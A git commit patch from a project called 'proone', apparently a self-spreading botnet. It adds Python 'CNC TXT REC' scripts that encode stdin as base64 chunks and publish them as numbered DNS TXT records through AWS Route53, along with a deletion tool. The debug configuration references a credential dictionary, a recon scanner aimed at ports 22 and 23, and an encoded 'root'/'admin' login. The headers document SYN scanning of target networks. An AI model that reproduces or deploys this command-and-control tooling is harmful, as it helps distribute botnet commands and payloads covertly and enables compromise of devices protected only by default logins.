From 80a062ef30a2f945f6634ca9a0bf2b886a54e3ae Mon Sep 17 00:00:00 2001 From: David Timber Date: Tue, 14 Dec 2021 14:14:54 +0800 Subject: Doc progress, reimpl txtrec scripts in Python ... * Delete prne_own_recon_param() as it served no purpose --- .gitignore | 2 +- .vscode/launch.json | 65 +++++++++--- doc/sws.md | 7 +- src/imap.h | 2 +- src/prne_txtrec.py | 63 ++++++++++++ src/proone-txtrec-del.py | 180 ++++++++++++++++++++++++++++++++++ src/proone-txtrec-set.py | 141 ++++++++++++++++++++++++++ src/pth.h | 65 +++++++++--- src/recon.c | 9 -- src/recon.h | 54 ++++++++-- src/resolv.h | 250 ++++++++++++++++++++++++++++++++++++++--------- src/rnd.h | 45 ++++++++- src/strmap.h | 55 ++++++++++- src/txtrec-del.sh | 85 ---------------- src/txtrec-enc.sh | 40 -------- src/txtrec-set.sh | 82 ---------------- 16 files changed, 836 insertions(+), 309 deletions(-) create mode 100644 src/prne_txtrec.py create mode 100755 src/proone-txtrec-del.py create mode 100755 src/proone-txtrec-set.py delete mode 100755 src/txtrec-del.sh delete mode 100755 src/txtrec-enc.sh delete mode 100755 src/txtrec-set.sh diff --git a/.gitignore b/.gitignore index 9553d35..2e59c1d 100644 --- a/.gitignore +++ b/.gitignore @@ -1,7 +1,7 @@ - Makefile Makefile.in \.deps +__pycache__ /COPYING\.* /configure diff --git a/.vscode/launch.json b/.vscode/launch.json index 537323d..c6d96f8 100644 --- a/.vscode/launch.json +++ b/.vscode/launch.json @@ -9,7 +9,10 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-htbthost", - "args": [ "test", "--no-verify" ], + "args": [ + "test", + "--no-verify" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -35,7 +38,11 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-htbtclient", - "args": [ "-t", "localhost", "hostinfo" ], + "args": [ + "-t", + "localhost", + "hostinfo" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -64,7 +71,10 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-rnd", - "args": [ "256", "256" ], + "args": [ + "256", + "256" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -79,7 +89,11 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-recon", - "args": [ "./src/data/recon.conf", "22", "23" ], + "args": [ + "./src/data/recon.conf", + "22", + "23" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -87,8 +101,7 @@ "MIMode": "gdb", "setupCommands": [ { - "description": - "Disable startup-with-shell to pass file cap", + "description": "Disable startup-with-shell to pass file cap", "text": "set startup-with-shell off", "ignoreFailures": false } @@ -101,7 +114,10 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-mkcdict", - "args": [ "./src/data/cred_dict.txt", "./src/data/cred_dict.bin" ], + "args": [ + "./src/data/cred_dict.txt", + "./src/data/cred_dict.bin" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -139,7 +155,9 @@ "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone-hostinfod", - "args": [ "./src/data/hostinfod.conf" ], + "args": [ + "./src/data/hostinfod.conf" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -155,13 +173,14 @@ "preLaunchTask": "Build hostinfod", "miDebuggerPath": "/usr/bin/gdb" }, - { "name": "proone", "type": "cppdbg", "request": "launch", "program": "${workspaceFolder}/src/proone", - "args": [ "cm9vdABhZG1pbgA=" ], + "args": [ + "cm9vdABhZG1pbgA=" + ], "stopAtEntry": false, "cwd": "${workspaceFolder}", "environment": [], @@ -179,8 +198,7 @@ "ignoreFailures": false }, { - "description": - "Disable startup-with-shell to pass file cap", + "description": "Disable startup-with-shell to pass file cap", "text": "set startup-with-shell off", "ignoreFailures": false } @@ -188,7 +206,6 @@ "preLaunchTask": "Build proone", "miDebuggerPath": "/usr/bin/gdb" }, - { "name": "test_proto", "type": "cppdbg", @@ -204,5 +221,27 @@ "preLaunchTask": "Build test_proto", "miDebuggerPath": "/usr/bin/gdb" }, + { + "name": "txtrec-del", + "type": "python", + "request": "launch", + "program": "${workspaceFolder}/src/proone-txtrec-del.py", + "args": [ "CHANGE.ME.test", "aws", "AAAAAAAAAAAAA" ], + "console": "integratedTerminal" + }, + { + "name": "txtrec-set", + "type": "python", + "request": "launch", + "program": "${workspaceFolder}/src/proone-txtrec-set.py", + "args": [ + "CHANGE.ME.test", + "CHANGE.ME.cnc.test", + "aws", + "AAAAAAAAAAAAA", + "<", + "${workspaceFolder}/src/data/proto/txtrec-testdata" ], + "console": "integratedTerminal" + }, ] } diff --git a/doc/sws.md b/doc/sws.md index 9c793f2..c057937 100644 --- a/doc/sws.md +++ b/doc/sws.md @@ -467,12 +467,11 @@ proone-htbtclient. MariaDB for DB backend. * /scripts/extsymsize.sh: (undocumented) * /src/build-utils.sh: file alignment tool used by Makefile recipe * /src/data/proto/print-raw.sh: (undocumented) +* /src/data/sql/hi-create.sql: MariaDB schema for hostinfo daemon +* /src/proone-txtrec-del.py: CNC TXT REC deletion tool +* /src/proone-txtrec-set.py: CNC TXT REC set up tool * /src/run-tests.sh: (undocumented) * /src/test-resolv.sh: test suite for resolv worker -* /src/txtrec-del.sh: CNC TXT REC deletion tool -* /src/txtrec-enc.sh: CNC TXT REC data encoding tool -* /src/txtrec-set.sh: CNC TXT REC set up tool -* /src/data/sql/hi-create.sql: MariaDB schema for hostinfo daemon ## Footnotes [^1]: i.e. representing values in code: `int value = 123;` diff --git a/src/imap.h b/src/imap.h index 2f52755..c3b5a91 100644 --- a/src/imap.h +++ b/src/imap.h @@ -80,7 +80,7 @@ void prne_imap_clear (prne_imap_t *im); * \param val The value of the new tuple. * \return The pointer to the new tuple allocated in the map. The pointer is * valid as long as the map object remains unmodified. - * \retval NULL if a memory allocation has occurred and \c errno is set to + * \retval NULL if memory allocation error has occurred and \c errno is set to * \c ENOMEM * \note Calling the function invalidates the pointers previously returned by * other functions. diff --git a/src/prne_txtrec.py b/src/prne_txtrec.py new file mode 100644 index 0000000..a432f67 --- /dev/null +++ b/src/prne_txtrec.py @@ -0,0 +1,63 @@ +# Copyright (c) 2019-2021 David Timber +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. +import sys +from typing import Iterable + +# AWS hook - The max number of objects in a request +AWS_MAX_ITEMS = 1000 + +## Handle error according to the error definition +# @param o the error definition +# @param e the exception (optional) +# @param m the error message header, perror() param equiv (optional) +# @note The function will call \c exit() if the error definition dictates to do +# so +def handle_err (o, e, m): + if e: + sys.stderr.write(e + "\n\n") + if m: + l = m + ": " + o["msg"] + "\n" + else: + l = o["msg"] + "\n" + + sys.stderr.write(l) + if "ec" in o: + exit(o["ec"]) + +## Append a dot(".") to the string if it does not end with the dot +def termdot (str: str): + if not str.endswith("."): + return str + "." + return str + +# Change all RRs specified in the iterable +def change_all (client, zone_id: str, action: str, it: Iterable): + c_arr = [] + for rr in it: + c_arr.append({ + 'Action': action, + 'ResourceRecordSet': rr + }) + cb = { 'Changes': c_arr } + + return client.change_resource_record_sets( + HostedZoneId = zone_id, + ChangeBatch = cb + ) diff --git a/src/proone-txtrec-del.py b/src/proone-txtrec-del.py new file mode 100755 index 0000000..8fadce3 --- /dev/null +++ b/src/proone-txtrec-del.py @@ -0,0 +1,180 @@ +#!/usr/bin/env python3 +## \file +# \brief CNC TXT REC delete script + +# Copyright (c) 2019-2021 David Timber +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import sys +import re +import prne_txtrec + +# regex for seperating the number of data RRs and the suffix from the head TXT +HEAD_TXT_RE = re.compile('"([0-9]{8})(.*)"') +# regex for seperating the index and the suffix from the data TXT +DATA_TXT_RE = re.compile('([0-9]{8})(.*)') + +# Error definitions +HOOK_ERRORS = { + "NOT_IMPL": { + "msg": "not implemented", + "ec": 1 + }, + "AWS_NO_BOTO3": { + "msg": "Please install Boto3 for AWS hook", + "ec": 1 + }, + "NO_RR": { + "msg": "No RR in the zone specified", + "ec": 1 + }, + "NO_HEAD_REC": { + "msg": "The head rec not found", + "ec": 1 + }, + "MULTI_HEAD_REC": { + "msg": "The head rec has multiple TXT values", + "ec": 1 + }, + "HEAD_REC_INV_FMT": { + "msg": "Invalid format of the head TXT rec value", + "ec": 1 + }, +} + +# AWS hook main function +def main_aws (zone_id: str, head_rec: str): + try: + import boto3 + except ModuleNotFoundError as e: + prne_txtrec.handle_err(HOOK_ERRORS["AWS_NO_BOTO3"], e) + + client = boto3.client("route53") + del_q = [] # List of RRs to be deleted + + # Get the head RR + r = client.list_resource_record_sets( + HostedZoneId = zone_id, + StartRecordName = head_rec, + StartRecordType = "TXT") + rrs = r['ResourceRecordSets'] + + # Handle general errors + if len(rrs) <= 0: + # No RR in the zone + prne_txtrec.handle_err(HOOK_ERRORS["NO_RR"]) + if rrs[0]['Name'].lower() != head_rec: + # If the list does not start with the head rec, which is + # specifically requested, the head rec probably doesn't exist in the + # zone. + prne_txtrec.handle_err(HOOK_ERRORS["NO_HEAD_REC"]) + if len(rrs[0]['ResourceRecords']) > 1: + # Multiple RR data. This is a protocol error - the scripts will + # never allow RRs with muiltiple TXT values + prne_txtrec.handle_err(HOOK_ERRORS["MULTI_HEAD_REC"]) + head_rr = rrs[0] + + # Seperate the number of records and the suffix + head_txt = head_rr['ResourceRecords'][0]['Value'] + m = HEAD_TXT_RE.fullmatch(head_txt) + if not m: + prne_txtrec.handle_err( + HOOK_ERRORS["HEAD_REC_INV_FMT"], + None, + head_txt if head_txt.isprintable() else None) + nb_rr = int(m.group(1)) + suffix = prne_txtrec.termdot(m.group(2)) + + # Go through all the records in the zone to delete the records that fall + # into the criteria - suffix and the prefix number in range + + # Using these will start the list from the first record. Hopefully, the + # server returns the list in order so that the script does not have to + # visit the other irrelevant RRs in the zone + next_name = "00000000" + suffix + next_type = "TXT" + while len(del_q) in range(0, nb_rr): + r = client.list_resource_record_sets( + HostedZoneId = zone_id, + StartRecordName = next_name, + StartRecordType = next_type) + rrs = r['ResourceRecordSets'] + + if not rrs: + break + if 'IsTruncated' in r and r['IsTruncated']: + # Set up the tokens for the next iteration + next_name = r['NextRecordName'] + next_type = r['NextRecordType'] + + for rr in rrs: + if rr['Type'] != "TXT": + continue + m = DATA_TXT_RE.fullmatch(rr['Name']) + if not m or m.group(2).lower() != suffix: + continue + if not (int(m.group(1)) in range(0, nb_rr)): + continue + # Matches the criteria. Queue for deletion + del_q.append(rr) + + while del_q: + # Delete AWS_MAX_ITEMS RRs at a time as per recommendation + prne_txtrec.change_all( + client, + zone_id, + 'DELETE', + del_q[:min(len(del_q), + prne_txtrec.AWS_MAX_ITEMS)]) + del del_q[:min(len(del_q), prne_txtrec.AWS_MAX_ITEMS)] + # Finally, delete the head rec + prne_txtrec.change_all(client, zone_id, 'DELETE', [head_rr]) + +HOOKS = { + "aws": main_aws +} +USAGE_LINES = [ + "Usage: " + sys.argv[0] + " \n", + "Hooks:\n" +] +for h in HOOKS: + USAGE_LINES.append(" " + h + "\n") + +def print_usage (out): + out.writelines(USAGE_LINES) + +# proecss argv +try: + ARGV_DICT = { + "head_rec": prne_txtrec.termdot(sys.argv[1].lower()), + "hook": sys.argv[2].lower(), + "zone_id": sys.argv[3] + } +except IndexError: + print_usage(sys.stderr) + exit(1) + +# call the function +try: + HOOKS[ARGV_DICT["hook"]](ARGV_DICT["zone_id"], ARGV_DICT["head_rec"]) +except KeyError: + prne_txtrec.handle_err(HOOK_ERRORS["NOT_IMPL"], None, ARGV_DICT["hook"]) + +exit(0) diff --git a/src/proone-txtrec-set.py b/src/proone-txtrec-set.py new file mode 100755 index 0000000..cdba79a --- /dev/null +++ b/src/proone-txtrec-set.py @@ -0,0 +1,141 @@ +#!/usr/bin/env python3 +## \file +# \brief CNC TXT REC set up script + +# Copyright (c) 2019-2021 David Timber +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in all +# copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE +# SOFTWARE. + +import sys +import base64 +import prne_txtrec + +# Error definitions +HOOK_ERRORS = { + "NOT_IMPL": { + "msg": "not implemented", + "ec": 1 + }, + "AWS_NO_BOTO3": { + "msg": "Please install Boto3 for AWS hook", + "ec": 1 + }, + "INV_ARG": { + "msg": "invalid argument", + "ec": 2 + } +} + +# AWS hook main function +def main_aws (zone_id: str, head_rec: str, suffix: str, ttl: int): + if ttl is None: + ttl = 3600 + + try: + import boto3 + except ModuleNotFoundError as e: + prne_txtrec.handle_err(HOOK_ERRORS["AWS_NO_BOTO3"], e) + + client = boto3.client("route53") + ins_q = [] # List of RRs to be inserted + cnt = 0 + + # process the queued request and clear the queue + def flush_q (): + prne_txtrec.change_all(client, zone_id, 'UPSERT', ins_q) + ins_q.clear() + + while True: + b = sys.stdin.buffer.read(189) + if not b: # Assume that EOF is reached + break + + ins_q.append({ + 'Name': "%08u" % (cnt) + suffix, + 'Type': 'TXT', + 'TTL': ttl, + 'ResourceRecords': [ + { 'Value': '"' + base64.b64encode(b).decode('ascii') + '"' } + ] + }) + cnt = cnt + 1 + if len(ins_q) >= prne_txtrec.AWS_MAX_ITEMS: + flush_q() + + flush_q() + head_rr = "%08u" % (cnt) + suffix + # insert the head rec + prne_txtrec.change_all( + client, + zone_id, + 'UPSERT', + [{ + 'Name': head_rec, + 'Type': 'TXT', + 'TTL': ttl, + 'ResourceRecords': [ + { 'Value': '"' + head_rr + '"' } + ] + }]) + +HOOKS = { + "aws": main_aws +} +USAGE_LINES = [ + "Usage: " + sys.argv[0] + " [TTL]\n", + "Hooks:\n" +] +for h in HOOKS: + USAGE_LINES.append(" " + h + "\n") + +def print_usage (out): + out.writelines(USAGE_LINES) + +# proecss argv +try: + ARGV_DICT = { + "head_rec": prne_txtrec.termdot(sys.argv[1].lower()), + "suffix": prne_txtrec.termdot(sys.argv[2].lower()), + "hook": sys.argv[3].lower(), + "zone_id": sys.argv[4] + } + if len(sys.argv) >= 6: + try: + ARGV_DICT["ttl"] = int(sys.argv[5]) + if not (ARGV_DICT["ttl"] in range(0, 2147483648)): + raise ValueError() + except ValueError: + prne_txtrec.handle_err(HOOK_ERRORS["INV_ARG"], None, sys.argv[5]) + else: + ARGV_DICT["ttl"] = None +except IndexError: + print_usage(sys.stderr) + exit(1) + +# call the function +try: + HOOKS[ARGV_DICT["hook"]]( + ARGV_DICT["zone_id"], + ARGV_DICT["head_rec"], + ARGV_DICT["suffix"], + ARGV_DICT["ttl"]) +except KeyError: + prne_txtrec.handle_err(HOOK_ERRORS["NOT_IMPL"], None, ARGV_DICT["hook"]) + +exit(0) diff --git a/src/pth.h b/src/pth.h index 8185598..5321f8b 100644 --- a/src/pth.h +++ b/src/pth.h @@ -1,3 +1,6 @@ +/** \file + * \brief The convenience functions and abstraction for GNU Portable Threads + */ /* * Copyright (c) 2019-2021 David Timber * @@ -25,39 +28,73 @@ #include +// The worker object (abstract) struct prne_worker { - void *ctx; - void *(*entry)(void*); - void (*fin)(void*); - void (*free_ctx)(void*); - pth_t pth; + void *ctx; // The opaque internal context + void *(*entry)(void*); // The "run" function + void (*fin)(void*); // The function that signals the thread to exit + void (*free_ctx)(void*); // The function used to free the context object + pth_t pth; // The PTH handle + // The attribute of the PTH thread acquired at the point of creation pth_attr_t attr; }; typedef struct prne_worker prne_worker_t; +// The PTH condition variable object (parametres required for notify()) struct prne_pth_cv { - pth_mutex_t *lock; - pth_cond_t *cond; - bool broadcast; + pth_mutex_t *lock; // The mutex + pth_cond_t *cond; // The CV + bool broadcast; // The broadcast flag (set to true to notify all threads) }; typedef struct prne_pth_cv prne_pth_cv_t; +/** + * \brief Initialise the worker object + * \note Initialises the members of \p w to initial values. Prepares \p w so + * that it can be freed using \c prne_free_worker() + */ void prne_init_worker (prne_worker_t *w); +/** + * \brief Free the resources allocated for the worker object + * \param w The pointer to the object that has been initialised using + * \c prne_init_worker() + * \warning The worker has to be joined using \c pth_join() beforehand! + */ void prne_free_worker (prne_worker_t *w); +/** + * \brief Signal the worker to exit + */ void prne_fin_worker (prne_worker_t *w); -/* Workaround for bug in GNU Pth -* Calling pth_poll() with pollfd element whose fd is negative value results in -* undefined behaviour as stated in POSIX(FD_SET() with invalid value is -* undefined). GNU Pth uses FD_SET() with invalid values on purpose to achieve -* something. -*/ +/** + * \brief The workaround for the bug in \c pth_poll() implementation. Calling + * pth_poll() with pollfd element whose fd is negative value results in + * undefined behaviour as stated in POSIX(FD_SET() with invalid value is + * undefined). GNU Pth uses FD_SET() with invalid values on purpose. This leads + * to an undefined behaivour. + * \see \c pth_poll() + */ int prne_pth_poll ( struct pollfd *pfd, const nfds_t nfs, const int timeout, pth_event_t ev); +/** + * \brief Condition variable notify convenience function + * \param lock The PTH mutex + * \param cond The PTH condition variable + * \param broadcast True to notify all PTH threads. False to notify one PTH + * thread + */ void prne_pth_cv_notify (pth_mutex_t *lock, pth_cond_t *cond, bool broadcast); +/** + * \brief Convert the time spec structure to PTH time + */ pth_time_t prne_pth_tstimeout (const struct timespec ts); +/** + * \brief Free the PTH event handle and set up a new timeout event + * \param[in,out] ev The pointer to the event handle pointer + * \param ts The time spec structure + */ void prne_pth_reset_timer (pth_event_t *ev, const struct timespec *ts); diff --git a/src/recon.c b/src/recon.c index d76ca1f..2d4439f 100644 --- a/src/recon.c +++ b/src/recon.c @@ -1341,12 +1341,3 @@ bool prne_alloc_recon_param ( return ret; } - -prne_recon_param_t prne_own_recon_param ( - const prne_recon_param_t *p, - const bool ownership) -{ - prne_recon_param_t ret = *p; - ret.ownership = ownership; - return ret; -} diff --git a/src/recon.h b/src/recon.h index a67cf12..ede9600 100644 --- a/src/recon.h +++ b/src/recon.h @@ -1,3 +1,6 @@ +/** \file + * \brief The recon worker + */ /* * Copyright (c) 2019-2021 David Timber * @@ -26,45 +29,84 @@ #include +/* Alias and forward declarations */ +/** + * \brief The opauqe handle type to an instance of the recon worker. Reserved + * for future use. + */ typedef struct prne_recon prne_recon_t; typedef struct prne_recon_param prne_recon_param_t; typedef struct prne_recon_network prne_recon_network_t; typedef void(*prne_recon_evt_ft)(void *ctx, const prne_net_endpoint_t *ep); +// The recon network object struct prne_recon_network { prne_ip_addr_t addr; - uint8_t mask[16]; + uint8_t mask[16]; // The netmask bits in the network order }; +// The recon worker parameter object struct prne_recon_param { + // The blacklisted networks struct { prne_recon_network_t *arr; size_t cnt; } blist; + // The target networks struct { prne_recon_network_t *arr; size_t cnt; } target; + // The destination ports in SYN packets struct { uint16_t *arr; size_t cnt; } ports; - prne_recon_evt_ft evt_cb; - void *cb_ctx; + prne_recon_evt_ft evt_cb; // The discovery event callback function + void *cb_ctx; // The context object for event callbacks + /* + * True if the object has the responsibility of freeing the dynamically + * allocated members + */ bool ownership; }; +/** + * \brief Allocate resources and start an instance of the recon worker + * \param wkr The initialised worker object + * \param ctr_drbg The CTR DRBG object to use for initial random values + * \param param The recon worker parameter object + * \return A handle to the instance + * \retval NULL if an error occurred. \c errno set. + */ prne_recon_t *prne_alloc_recon ( prne_worker_t *wkr, mbedtls_ctr_drbg_context *ctr_drbg, const prne_recon_param_t *param); +/** + * \brief Initialise the recon worker parameter object + * \note Initialises the members of \p p to initial values. Prepares \p p so + * that it can be freed using \c prne_free_recon_param() + */ void prne_init_recon_param (prne_recon_param_t *p); +/** + * \brief Free the resources allocated for the recon worker parameter object + * \param p The pointer to the object that has been initialised using + * \c prne_init_recon_param() + */ void prne_free_recon_param (prne_recon_param_t *p); +/** + * \brief Allocate dynamically allocated members in the recon worker parameter + * object + * \param p The pointer to the recon worker parameter object + * \param blist The number of blacklisted networks + * \param target The number of target networks + * \param ports The number of the destination ports in SYN packets + * \retval true if allocation was successful + * \retval false otherwise and \c errno is set to \c ENOMEM + */ bool prne_alloc_recon_param ( prne_recon_param_t *p, const size_t blist, const size_t target, const size_t ports); -prne_recon_param_t prne_own_recon_param ( - const prne_recon_param_t *p, - const bool ownership); diff --git a/src/resolv.h b/src/resolv.h index 352da48..f823410 100644 --- a/src/resolv.h +++ b/src/resolv.h @@ -1,3 +1,7 @@ +/** \file + * \brief The resolv worker + * \note Open RFC 1035 now! + */ /* * Copyright (c) 2019-2021 David Timber * @@ -26,8 +30,9 @@ #include +/* Alias and forward declarations */ struct prne_resolv; -typedef struct prne_resolv prne_resolv_t; +typedef struct prne_resolv prne_resolv_t; // The instance handle type (opaque) typedef struct prne_resolv_ns_pool prne_resolv_ns_pool_t; struct prne_resolv_prm; @@ -36,59 +41,88 @@ struct prne_resolv_rr; typedef struct prne_resolv_prm prne_resolv_prm_t; typedef struct prne_resolv_fut prne_resolv_fut_t; typedef struct prne_resolv_rr prne_resolv_rr_t; -typedef uint16_t prne_resolv_rcode_t; +typedef uint16_t prne_resolv_rcode_t; // The type for DNS return codes +// The query operation result typedef enum { - PRNE_RESOLV_QR_NONE = -1, + PRNE_RESOLV_QR_NONE = -1, // Null value - PRNE_RESOLV_QR_OK, - PRNE_RESOLV_QR_ERR, - PRNE_RESOLV_QR_PRO_ERR, - PRNE_RESOLV_QR_FIN, - PRNE_RESOLV_QR_IMPL, - PRNE_RESOLV_QR_TIMEOUT, - PRNE_RESOLV_QR_STATUS, + PRNE_RESOLV_QR_OK, // Operation successful + PRNE_RESOLV_QR_ERR, // Error occurred (errno set) + PRNE_RESOLV_QR_PRO_ERR, // Protocol error + PRNE_RESOLV_QR_FIN, // prne_fin_worker() called whilst processing query + PRNE_RESOLV_QR_IMPL, // Failed due to implementation's limitation + PRNE_RESOLV_QR_TIMEOUT, // Query timed out + PRNE_RESOLV_QR_STATUS, // RCODE other than zero returned - NB_PRNE_RESOLV + NB_PRNE_RESOLV // Meta value: the number of enums excluding the null value } prne_resolv_qr_t; +// The record type typedef enum { - PRNE_RESOLV_QT_NONE = -1, + PRNE_RESOLV_QT_NONE = -1, // Null value - PRNE_RESOLV_QT_A, - PRNE_RESOLV_QT_AAAA, - PRNE_RESOLV_QT_TXT, + PRNE_RESOLV_QT_A, // A record + PRNE_RESOLV_QT_AAAA, // AAAA record + PRNE_RESOLV_QT_TXT, // TXT record + // Meta value: the number of enums excluding the null value NB_PRNE_RESOLV_QT } prne_resolv_query_type_t; +// The name server pool object struct prne_resolv_ns_pool { - prne_net_endpoint_t *arr; - size_t cnt; + prne_net_endpoint_t *arr; // The pointer to the array of name servers + size_t cnt; // The number of elements in the array + /* + * True if the object has the responsibility of freeing the dynamically + * allocated members + */ bool ownership; }; +// The query operation promise object struct prne_resolv_prm { - void *ctx; - prne_resolv_fut_t *fut; + void *ctx; // The opaque context + prne_resolv_fut_t *fut; // The future object }; +/** + * \brief The query operation future object + * \note The life span of the future object is independent of the life span of + * the promise object + */ struct prne_resolv_fut { - size_t rr_cnt; - prne_resolv_rr_t *rr; - int err; - prne_resolv_qr_t qr; - prne_resolv_rcode_t status; + size_t rr_cnt; // The number of resource records + prne_resolv_rr_t *rr; // The pointer to the array of resource records + int err; // errno occurred whilst processing the query + prne_resolv_qr_t qr; // The query result code + prne_resolv_rcode_t status; // The returned query status code }; +// The query resource record struct prne_resolv_rr { + /* + * The name of the record, the lengths of the labels replaced with the + * character '.'. This means that the names will look like this: + * "www.example.com." + */ char *name; - uint16_t rr_class, rr_type; - uint32_t rr_ttl; + uint16_t + rr_class, // The resource record class (1, the internet) + rr_type; // The resource type (not prne_resolv_query_type_t) + uint32_t rr_ttl; // The TTL value of the record + // The pointer to the binary data, including the preceeding length byte uint8_t *rd_data; - uint16_t rd_len; + uint16_t rd_len; // The byte length of the binary data }; +/* The IPv4 addresses of the popular public name servers for use in array + * initialiser lists. + * Note that the byte length of these addresses are 16 bytes so that they can be + * used to initialise prne_ip_addr_t. You may to ignore the last 12 bytes by + * explicitly declaring the size of the array. + */ #define PRNE_RESOLV_NS_IPV4_GOOGLE_A \ 0x08, 0x08, 0x08, 0x08, 0x00, 0x00, 0x00, 0x00,\ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 @@ -113,6 +147,7 @@ struct prne_resolv_rr { #define PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B \ 0xb9, 0xe4, 0xa9, 0x09, 0x00, 0x00, 0x00, 0x00,\ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 +// The concatenated byte array of the name servers above #define PRNE_RESOLV_NS_POOL_IPV4 {\ PRNE_RESOLV_NS_IPV4_GOOGLE_A,\ PRNE_RESOLV_NS_IPV4_GOOGLE_B,\ @@ -124,6 +159,9 @@ struct prne_resolv_rr { PRNE_RESOLV_NS_IPV4_CLEANBROWSING_B\ } +/* The IPv6 addresses of the popular public name servers for use in array + * initialiser lists. + */ #define PRNE_RESOLV_NS_IPV6_GOOGLE_A \ 0x20, 0x01, 0x48, 0x60, 0x48, 0x60, 0x00, 0x00,\ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x88 @@ -148,6 +186,7 @@ struct prne_resolv_rr { #define PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B \ 0x2a, 0x0d, 0x2a, 0x00, 0x00, 0x02, 0x00, 0x00,\ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02 +// The concatenated byte array of the name servers above #define PRNE_RESOLV_NS_POOL_IPV6 {\ PRNE_RESOLV_NS_IPV6_GOOGLE_A,\ PRNE_RESOLV_NS_IPV6_GOOGLE_B,\ @@ -159,60 +198,177 @@ struct prne_resolv_rr { PRNE_RESOLV_NS_IPV6_CLEANBROWSING_B\ } -/* Default Nameserver Pools -* -* For testing only. Referencing these will increase the size of the binary. -*/ +/* The default name server pools + * These are for testing purposes only. Referencing these variables will + * increase the size of the binary significantly as IPv4 addresses are not + * stored as a series of 4-byte-elements. + */ extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV4_POOL; extern const prne_resolv_ns_pool_t PRNE_RESOLV_DEF_IPV6_POOL; -// honor bind-utils' choice of words -#define PRNE_RESOLV_RCODE_NOERROR 0 -#define PRNE_RESOLV_RCODE_FORMERR 1 -#define PRNE_RESOLV_RCODE_SERVFAIL 2 -#define PRNE_RESOLV_RCODE_NXDOMAIN 3 -#define PRNE_RESOLV_RCODE_NOTIMP 4 -#define PRNE_RESOLV_RCODE_REFUSED 5 - -#define PRNE_RESOLV_RTYPE_A 1 -#define PRNE_RESOLV_RTYPE_NS 2 -#define PRNE_RESOLV_RTYPE_CNAME 5 -#define PRNE_RESOLV_RTYPE_SOA 6 -#define PRNE_RESOLV_RTYPE_PTR 12 -#define PRNE_RESOLV_RTYPE_MX 15 -#define PRNE_RESOLV_RTYPE_TXT 16 -#define PRNE_RESOLV_RTYPE_AAAA 28 +/* The response codes as per RFC 1035 4.1.1 + * bind-utils' choice of words are honoured. + */ +#define PRNE_RESOLV_RCODE_NOERROR 0 // No error condition +#define 